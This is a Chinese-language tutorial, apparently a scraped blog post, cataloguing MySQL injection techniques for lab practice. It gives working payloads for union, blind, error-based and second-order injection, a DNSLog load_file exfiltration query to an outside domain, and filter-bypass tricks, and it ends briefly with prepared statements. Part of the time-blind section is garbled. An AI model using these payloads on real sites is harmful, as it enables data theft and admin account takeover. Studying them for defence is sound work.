SQL注入攻击大全 您所在的位置:网站首页 sql语法范例大全最新 SQL注入攻击大全

SQL注入攻击大全

2023-08-24 19:27| 来源: 网络整理| 查看: 265

MYSQL注入攻击大全 什么是SQLISQLI基本认识SQLI分类按照注入参数类别分字符型注入单引号闭合双引号闭合数字型注入 按照请求方法分GET型注入url注入请求头注入 POST型注入 按注入手法分判断闭合符类型单引号闭合双引号闭合数字型其他变种 有回显的注入联合查询注入information_schema库简介注入步骤 盲注布尔盲注时间盲注 报错注入updatexml注入 extractvalue注入主键重复报错几何函数注入基于列名冲突的注入基于溢出的注入二阶注入长字符串截断 无回显的注入 SQLI防御及绕过嵌套及大小写混淆绕过空格被过滤的绕过通过内内联注释通过括号--emmmmm基本没啥用,就当作SQL语句的拓展吧 逗号被过滤的绕过空字节编码绕过引号被转义关键字替代 SQLI的未来PDOPHP预编译

以下内容均为个人学习总结,不喜勿喷,欢迎志同道合的小伙伴一同学习一同进步

什么是SQLI

所谓SQL注入就是用户在能够控制SQL查询、更新、插入、删除等语句的参数的情况下,攻击者通过构造特殊的输入字符串使后端程序错误地识别SQL查询语句中的代码与数据部分从而导致数据库管理系统输出了非预期的结果的一种行为。

SQLI基本认识

SQL注入本质上来讲就是拼接字符串,通过输入额外的信息破坏外后端脚本原有的查询语句结构,从而达成注入的目的。 举个例子,后端后一段查询代码是下面样的:

//后端脚本语言为PHP $query="select name,age,gender from t_students where id={$_GET['id']}";

当用户正常输入的时候:

http://www.armandhe.com/query.php?id=1

后端的查询语句实际上是这样的:

$query="select name,age,gender from t_students where id=1";

但攻击者往往不会这样中规中矩,他们往往会构造这样的输入:

http://www.armandhe.com/query.php?id=-1 union select 1,database(),3 --+

此时后端的查询语句变成:

$query="select name,age,gender from t_students where id=-1 union select 1,database(),3 -- ";

此时攻击者就成功获取到了你的数据库名称。 通过上面的例子我们可以看出,攻击者构造的查询参数在SQL语句中没有被当作一个字符串对待,而是具有了实际的功能特性,这是PHP的语法决定的,它只是简单地将用户的输入与后端预定义的语句做了一个拼接,将拼接的结果整体作为一条SQL的查询语句。正是这个特性导致了SQL注入的产生,那么为了避免SQL注入,我们可以考虑的一点是不是可以想办法让PHP将用户输入的参数当作SQL语句的结构,而只作为参数呢?这就是预防SQL注入的另一个方向,PHP预编译技术,当然这个我们容后再讨论。

SQLI分类 按照注入参数类别分 字符型注入

当我们传入的参数在后端代码中被引号引起来的时候,我们称这种情况为字符型注入

单引号闭合 看下面的例子 $query="select name,age,gender from t_students where id='{$_GET['id']}'";

此时我们的参数$_GET['id']被单引号引起来了

双引号闭合 $id='"'.$_GET['id'].'"'; $query="select name,age,gender from t_students where id={$id}";

此时我们的参数$_GET['id']被双引号引起来了,所以大家觉得哪个憨憨程序员会这么写呢??所以双引号作为闭合符的情况基本上不可能出现。

数字型注入

我们传入的参数在后端代码中没有被引起来的时候,我们称这种情况为字符型注入。当然之后参数类型为数字的时候,才存在区分数字型和字符型的情况

$query="select name,age,gender from t_students where id={$_GET['id']}";

此时我们传入的参数直接与id进行比较

按照请求方法分 GET型注入

所谓GET型注入,顾名思义,即注入点的参数是同通过GET请求发送到后端进行处理的。其又可以分为下面两种情形:

url注入

即注入点在url中。举个例子,现在有一个网页,实现了根据学生学号,来查询学生基本信息的功能,学生的id信息是通过GET方法传参发送到后端的,其请求的url如下

http://www.armandhe.com/query.php?id=20140379

后台处理代码如下

$query="select name,age,gender from t_students where id={$_GET['id']}";

在该例中,我们通过修改url中的id参数的值,来控制前端页面的显示结果。因为没有过滤的原因,我们输入的任何参数值都将被直接拼接到SQL查询语句中,那么我们就可以通过联合查询注入的方式进行注入。

请求头注入

简单理解就是注入点在请求头中。还是上面的例子,不过url中的参数被后端进行了严格的过滤,不存在任何的注入方法,但后端在进行处理的时候不仅仅是使用了查询语句,还对我们请求头中的user-agent字段在数据库中进行了查询,来防止恶意爬虫,但憨憨程序员却没有对用户的请求头做过滤。于是乎我们可以在请求头中构造恶意代码。后端处理逻辑如下:

$link = @mysqli_connect($host,$username,$password,$dbname,$port); $userAgent=getallheaders()['User-Agent']; $query="select * from AgentJudge where userAgent='{$userAgent}'"; $result=mysqli_query($link,$query); if (mysqli_num_rows($result)!=0){ print('请不要恶意浏览本网页'); }

可以看到后端代码中并没有对user-agent字段做过滤,那么我们就可以直接开始构造注入语句: 这里我们可以通过BurpSuite抓包来修改user-agent字段: 在这里插入图片描述 当然我们不能直接上来就构造联合查询注入,这一点后面再将,这里只是演示请求头注入的效果。 那么又有一个问题,我们怎么知道后端对user-agetn字段做了判断呢?没错,我们不知道,所以这就需要我们在可能的注入点挨个尝试?是不是有一种生无可恋的感觉,那么多注入点,得尝试到什么时候?这时候就得我们得注入神器sqlmap登场了。这个容后再说。

POST型注入

POST注入与GET注入不同的地方在于请求的参数是放在请求体中而不是在url中直接显示给用户的。那么我们怎么才能劫持并修改通过POST方法上传的参数呢?这时候就需要我们的渗透测试神器BUuripSuite登场了。正常POST请求信息如下: 在这里插入图片描述 我们注入之后的请求如下 在这里插入图片描述

按注入手法分

这部分内容是sql注入的重点,不过在讲具体的注入方法前,我们先聊一下如何判断后端SQL语句中参数的闭合类型。

判断闭合符类型

通常的,有三种闭合符和一些变种

单引号闭合

以dvwa靶场为例,当我们输入以下内容的时候 在这里插入图片描述 按下确认键之后,返回MYSQL的报错信息提示如下 在这里插入图片描述 注意看箭头部分被引号引起来的部分''1111''',最外侧一对引号是MYSQL错误信息包含的引号,我们把它直接剔除掉,于是有了'1111'',这部分就是我么SQL语句中报错的部分,可以看到出现了三个单引号,这样势必有一个单引号是多余的,于是触发了报错。这也就说明了,后端参数的闭合方式是通过单引号闭合的,也就是

$query="select * from t_student where id='{$_GET['id']}'" ;

因为我们传参的时候多输了一个单引号,于是后台语句变成了

$query="select * from t_student where id='1111''";

很显然这是不符合mysql的语法规范的。 如果我们输入的是双引号,则不会报错,从而判断出,后台的闭合符类型为单引号。

双引号闭合

如果后台的闭合符为双引号,即

$id='"'.$_GET['id'].'"'; $query="select * from t_student where id={$id}";

那么我们输入参数?id=1111"时会报出错误信息You have an error ...... near '"1111""' at lint 1,同理输入?id=1111'的时候不会报错,于是判断后台闭合符为双引号。

数字型

除了上述两种字符型的闭合符外,还存在着数字型闭合,那么怎么判断是不是数字型闭合呢?

Method 1: 通过算数运算符 当我们传入下面的参数时,页面有正常的唯一回显

?id=1

当输入

?id=2

的时候会显示与id=1时不同的数据 那么如果后台为数字型闭合符,当我们输入

?id=2-1

的时候,如果显示的结果与id=1的时候一致,则可以判断出来后端的闭合符为数字型。

Method 2: 通过注释符 当我们输入下面内容的时候

?id=1 --+ //get方法 url传参 --+注释 ?id=1 %23 //post方法 url传参 #注释 id=1#&submit=submit //post方法,请求体传参 #注释 id=1-- &submit=submit //post方法,请求体传参 -- 注释 注意--后面有一个空格

如果前端显示的结果与id=1的时候一样,那么后端的闭合符就为数字,当然还有一种情况就是后端对我们的输入进行了处理无论我们怎么输入都回显id=1的结果,此时这种判断方法就行不通了。

其他变种

在上述三种闭合符类型的基础上,后端的闭合符可能还会出现如下的变种

$query="select * from t_student where id=('{$_GET['id']}')"; //单引号加括号,括号的数量不限 $query="select * from t_student where id=({$_GET['id']})"; //双引号加括号,括号的数量不限 $id='"'.$_GET['id'].'"'; $query="select * from t_student where id=({$id})"; //数字型加括号,括号的数量不限

对应的测试payload只需在上述三种闭合符payload的基础上对应得加上括号闭合即可,如:

?id') order by 3--+ 有回显的注入 联合查询注入 information_schema库简介

information_schema库是mySQL自带的一个库,其中包含了当前数据库管理系统的所有信息,但该数据库并不是一个实体的数据库,它不存储任何实际意义上的数据,它只是整个数据库管理系统的一个视图,当某个数据库的某个表发生变化时,information_schema库中相关的数据将同时发生变化。 在注入中,我们关注的是该库中的schemata、tables、columns三个表。他们分别存储了整个数据库管理系统的所有数据库信息,表信息,字段信息。在schemata表中,通过schema_name字段可以获取所有的数据库名;在tables,通过table_name、table_schema字段可以获取所有的表名与其对应的数据库名;在columns表中,通过columns、table_name、table_schema字段可以获取所有的字段名以及其所属表与数据库。 我们的注入思路就是先通过mysql的内建函数database(),获取当前数据库名,再通过tables表获取,所有的表信息,再通过columns表获取上述表所有的字段,最后通过字段查询想要的数据。 当然使用information_schema库查询信息有一个很重要的条件限制,那就是,需要当前连接数据库的用户具有读该数据库的权限,

注入步骤

STEP1:判断闭合符 照前面所述方法进行判断 STEP2:判断列数 联合查询会将两条查询语句的查询结果拼接到一起返回!于是反映出联合查询需遵守的一个规则便是,两条查询语句的查询字段数必须相等,于是乎在利用联合查询进行注入的时候,我们第一步要做的就是判断判断后端代码中的SQL查询语句的字段数。我们有两种方法判断: Method 1: order by方法 order by 自己在SQL语句中是用来做排序的,标识根据哪一个字段进行排序,如:

select id,username,passwd from t_user order by username;

表示根据username字段进行排序,当然也可以跟数字,标识根据表中的第几个字段进行排序,如:

select id,username,passwd from t_user order by 4;

就表示根据第四个字段进行排序,此时因为第四个字段不存在所以将报错显示 在这里插入图片描述 报错信息翻译过来就是:在order字段中存在未知的列。表示列数为4的字段不存在。 当我们输入

select id,username,passwd from t_user order by 3;

的时候,将正常显示,不会提示报错信息,两相比较得出查询语句的字段有3个。 所以我们可以构造这样的输入进行判断:

?id=1' order by 4--+ //报错 ?id=1 order by 3 --+ //不报错 //结论:第一个查询语句有三个字段

Method 2: 列数不匹配报错 输入如下语句

?id=1' union select 1,2,3,4--+

因为第四个字段不存在的原因,会报错 在这里插入图片描述 当输入

?id=1' union select 1,2,3--+

此时,将正常显示查询结果。故判断首条查询语句包含3个字段。 STEP 3:查数据库名

?id=-1 union select 1,database(),1--+

注意id=-1,此处id的值必须是一个在数据库中id字段不存在的值,否则联合查询第一条语句的查询结果将占据显示位,我们需要的第二条查询语句的查询结果就不能正常显示到浏览器中。 STEP 4:查表名 假如上一步查询出来的数据库名为security

?id=-1' union select 1,group_concat(table_name),1 from information_schema.tables where table_schem='security'--+

注意第二条查询语句我们payload插入位置的字段一定要在前端有回显,否则我们将不能查看到查询结果。 group_concat(fileds)函数表示查询结果中的多条纪录合并为一行显示,默认使用逗号分隔。为什么非得显示在一行里面呢?因为,超过两行的数据有可能不会显示在浏览器中。 这一步还可以换一种写法,从而省略掉第3步

?id=-1' union select 1,group_concat(table_name),1 from information_schema.tables where table_schem=database()--+

差异自寻!!!!!!! STEP 5:查列名 假如上一步查询出来的表名中有user表

?id=-1' union select 1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='user'--+

STEP 6:查数据 假如上一步查询出来的字段有username与passwd

?id=-1' and select 1,group_concat(concat(0x7e,username,0x7e,passwd,0x7e)),1 from user--+ 或者 ?id=-1' and select 1,group_concat(concat_ws(0x7e,username,passwd)),1 from user--+ 或者 ?id=-1' and select 1,concat(0x7e,username,0x7e,passwd,0x7e),1 from user limit 0,1--+

concat函数将每一条记录的每一个字段拼接成一个字符串,0x7e表示~,作为一个分割符出现 concat_ws函数与concat函数功能相似,不过它的第一个参数将作为分隔符出现在查询结果中。 limit 0,1的第一个参数表示从第一条记录开始,1表示向下查找一条记录,故limit 0,1表示第一条记录。group_concat函数将把所有的记录拼接成一个一条记录返回,limit 0,1只能逐条返回数据

盲注

盲注又分为布尔盲注与时间盲注两种类型

布尔盲注

基本原理是:通过控制通过and连接起来的子句的布尔值,来控制页面的显示结果来判断and后子句的真实性。举个例子

?id=1' and substring(database(),1,1)='s'--+

根据and的特性,当and运算符左边的计算结果为真时会继续判断后边的运算结果,如果右边的结果也为真则整个语句为真,当右边的语句为假时,则整个语句为假;当and左边的运算结果为假时,则直接判断整个语句为假,举例如下

1==1 and 1==2 //false 1==1为true,继续判断1==2的结果为false,整体为false 1==1 and 2==2 //true 1==1为true,继续判断2==2的结果为true,整体为true 1==2 and 1==1 //false 1==2为flse,直接判断整体为false,不再对右边的内容进行判断 1==2 and 1==2 //fale 1==2为flse,直接判断整体为false,不再对右边的内容进行判断

利用and的这个特性,id=1恒为真的时候,and右边substring子句的执行结果将直接影响这个SQL查询语句的结果,即substring子句为真,整个查询语句为真,页面正常回显内容,当substring子句为假的时候,整个查询语句为假,页面不正常回显内容。 在上面我们构造的查询语句中,对数据库名的第一个字段进行了判断,假如判断正确,那么接着对第二个字符进行判断

?id=1' and substring(database(),1,2)='se'--+

直到数据库名的最后一个字符被找出来。可以看到这个过程耗时耗力,我们要对所有可能的大小写字母、数字、特殊字符进行枚举,所以可以考虑透过自动化脚本的方式来进行判断。 要获取表名、字段名、数据,只需将上述database()替换为对应payload即可,如要获取表名

?id=1' and substring((select 1,group_concat(table_name),1 from information_schema.tables where table_schem='security'),1,2)='se'--+ 时间盲注

时间盲注与布尔盲注有异曲同工之妙,只不过判断语句正确与否的标志不再是查询结果有没有被正确得回显,而是网页的响应时间。看下面语句:

?id=1' and if (length(database())$username}' and passwd=='{$passwd}'"; $res=@mysqli_query($link,$query); if (mysqli_num_rows($res)==1){ //登录成功 }else{ die('用户名或密码错误') } }else{ die("两次输入密码不一致") }

可以看到在登录界面,用户名与密码被mysql_real_escape_string函数做了转义,那么我们输入的单引号或者双引号就失去了作用,于是我们不能通过简单一次注入获取数据。再看用户注册界面的代码

$link = @mysqli_connect($host,$username,$password,$dbname,$port); $username=mysql_escape_string($_POST['username']); $passwd=mysql_escape_string($_POST['passwd']); $repasswd=mysql_escape_string($_POST['repasswd']); if ($passwd==$repasswd){ $query="select * from t_user where username='{$username}'"; $res=@mysqli_query($link,$query); if (mysqli_num_rows($res)!=0){ //当前用户已存在 }else{ $query="insert into user values ('{$username}','{$passwd}')"; $res=@mysqli_query($link,$query); if (mysqli_affected_rows=1){ //新增用户成功 }else{ //未知错误,请检查后再输入 } } }else{ die("两次输入密码不一致"); }

可以看到登录界面的输入也被转义了,但是有一点,需要明确的是,经过msql_real_escape_string和addsashes转义的字符在插入到数据库中之后,会被解转义,不然我们注册的用户名就变了。利用这个特性我们就可以搞事情了。在用户修改密码的时由有这样的语句

$link = @mysqli_connect($host,$username,$password,$dbname,$port); $username=mysql_escape_string($_POST['username']); $oldpasswd=mysql_escape_string($_POST['oldpasswd']); $newpasswd=mysql_escape_string($_POST['newpasswd']); $repasswd=mysql_escape_string($_POST['repasswd']); //首先判断用户名密码是否正确 $query="select * from t_user where username='{$username}' and passwd='{$oldpasswd}'"; $res=@mysqli_query($link,$query); if ($newpasswd==$repasswd && mysqli_num_rows($res)!=0){ $query="update t_user set passwd='{$newpasswd}' where username='{$username}'"; $res=@mysqli_query($link,$query); if (mysqli_affected_rows=1){ //密码修改成功 }else{ //未知错误,请检查后再输入 } }else{ die("两次输入密码不一致或者用户名或者老密码输入错误"); }

假如我们直到有有一个用户名为admin的管理员账户,那么我们首先可以注册一个admin'#的账号,’#根据实际情况确定,密码为123456,然后我们正常登录到我们新注册的账号,跳转到修改密码的界面,然后输入用户名与密码之后点击确认,这时候后台的update语句变成了

$query="update t_user set passwd=654321 where username='admin'#'";

所以大家说这时候,我到底修改的是哪一个用户的密码呢? 这时候我们就可以用我们的新密码直接登录管理员账户admin了。大家可以到sqli_labs靶场第24关进行试验。

长字符串截断

mysql在没有开启严格模式的情况下,对于插入长度超过字符长度限制的数据并不会报错而是警告,但数据已经成功插入,我们可以利用这一点,创建一个长度超过限制的用户名后面插入很多的空格,当然这个用户名得和管理员得用户名相同,但后面却多了一长串得的空格,因为长度超出限制,多余的部分被截断,但此时我们查询数据库管理员的账户的时候,将同时查询到这两个值,于是,我们可以利用我们新创建的这个用户登录管理员的后台。

无回显的注入 DNS Log 我们在发起网络请求的时候,第一步就是解析域名,当域名被成功解析的时候,该域名解析结果将被域名服务器记录下来,我们利用的正是这一点,讲我们想要的数据放在域名的下一级域中外带到域名服务器,通过查询域名服务器的日志,从而获得我们想要的数据,如我们使用www.dnslog.cn 这个网站来测试 在这里插入图片描述 点击获取子域名获取一个包含三级域名的域名给我们,这里我们使用ping命令做测试 ping %USERNAME%.4ap7wz.dnslog.cn

在这里插入图片描述

当ping通的时候,我们点击该网站的刷新记录就可以看到我测试主机的用户名ChinaArmand了。 在这里插入图片描述 该注入方法适用于需要时间盲注、没有回显的注入场景。构造mysql语句如下。

?id=1' and (select load_file(concat('\\\\',(select database()),'.4ap7wz.dnslog.cn\\abc')))

在这里插入图片描述 在到www.dnslog.cn看看是不是获取到了我们的数据库名 在这里插入图片描述 我么可以看到上面的语句使用了\\,这是windowsUNC路径的表示方法,所以在SQLI中DNSLog只适用于windows平台的服务器 。 unc路径,是在windows平台上访问局域网网络资源的一种路径表示方法,我们在window上使用的文件共享服务路径就是通过这种方式,\\172.16.11.24 这也就解释了为什么只能在window平台的服务器上有效,另外多出来的两个\表示转义。 load_file 受mysql配置文件中secure_file_priv选项的限制,

secure_file_priv= //允许所有 secure_file_priv="G:\" //允许加载G盘 secure_file_priv=null //拒绝 SQLI防御及绕过 嵌套及大小写混淆绕过

如果后台存在这样的语句

$arg=str_replace('union','',$_GET['id']) //将union替换为空 或者 $arg=preg_replace('/union/i','',$_GET['id']) //将union替换为空,且不区分大小写

我们可以这样构造payload

?id=1' ununionion select 1,2,3%23 //上面两种用法均可这样绕过

str_replace函数时不区分大小写的我们还可以通过UNion来绕过

?id=1' Union select 1,2,3 --+ 空格被过滤的绕过 通过内内联注释

部分程序过滤了空格,将输入限制为单个,则可以通过内联注释绕过 还可通过%a0 ,%09,%0a,%0b,%0c,%0d绕过

?id=1' /**/union/**/order/**/by/**/2 %23 通过括号–emmmmm基本没啥用,就当作SQL语句的拓展吧

通过括号代替空格 在这里插入图片描述 有点鸡肋,关键字是不能被括起来的,否则会报错,比如order by 3不能写作`(order)(by)(3)基本没啥用。

逗号被过滤的绕过 select substr(database() from 1 to 1); select mid(database() from 1 to 1);

作用也不大,用到逗号的地方很多,如要查两个字段union select username,passwd这里的逗号就不能这样写,当然我们可以每次只查一个字段。

空字节

用于绕过一些入侵检测系统,如ids ips等,这些检测系统一般都是用原生语言编写的,而这些语言检验字符串的结尾是通过检测空字节,在被检测系统检测的字符前面加上一个空字节就可以欺骗检测系统忽略被检测字符。%00-空字节

编码绕过

我们可以通过编码的方式欺骗后端的过滤机制

1. char select(char(67,58,45,56,67,45,35,44,3)); 2. 16进制编码 0x234532e34f2a34b 3. hex 4. unhex select convert(unhex('e3f23a44b445')using utf8) 5. to_base64(),from_base64() 引号被转义

如果mysql的字符集使GBK、GB2312、BIG5等宽字节字符集的话 php如果开启了magic_quotes_gpc功能,那么通过_GET,_POST,_COOKIE方法传入的参数中的',",null,\等就会被加上/转义,此时通过寻常方法就不能完成注入,我么你可以这样构造注入参数id=%e6',这样的参数后面的'不会被转义,从而达到注入的目的。'在被转义后会成为\',于是我们的输入变成了%e6\',后台如果采用宽字节的方式编码,那么%e6\讲被解析成%e6%5c当成一个字符,于是\就被吃掉了,'被释放了出来。 我们输入的%e6是在%81 %ef的范围内的,因为宽字节一般都采用的是UNICODE字符集,采用的是高低字节的方式编码,%e6正好在高字节区域内%5c刚好在低字节区内,所以两者正好能组成一个字符。

关键字替代 and ⇒ && or => || = => between() ,like limit 0,1 => limit 0 offset 1 substr => substring mid left right sleep => benchmark SQLI的未来 PDO

这个我不是太了解,还没有深入学习,有兴趣的小伙伴可以自行学习

PHP预编译

sql注入存在的原因是计算机对代码部分、与数据部分区分错误导致的。 sql语句在执行之前会进行词法分析、语义分析,当代码中有大量的重复语句的时候,就会浪费大量的资源,所以有了预编译的概念。在sql语句执行前,sql语句被预编译,这样,我们就可以复用同一条sql语句,而不需要每次执行sql语句的时候都进行词法分析与语义分析,同时无论我们输入的内容是什么都会被当作字符串,而不会被当作代码部分被执行。当然预编译也存在局限性,预编译只能编译sql的参数部分,而不能编译sql的结构部分,所以当结构部分语句需要动态生成的时候就不能使用预编译,这样就可能存在sql注入的问题。再有预编译的语句也并不是无懈可击,参数部分还是可能存在注入点的,如like子句中用为%在sql中是一个通配符,所以当我们还是有可能精心构造一条sql语句的。



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有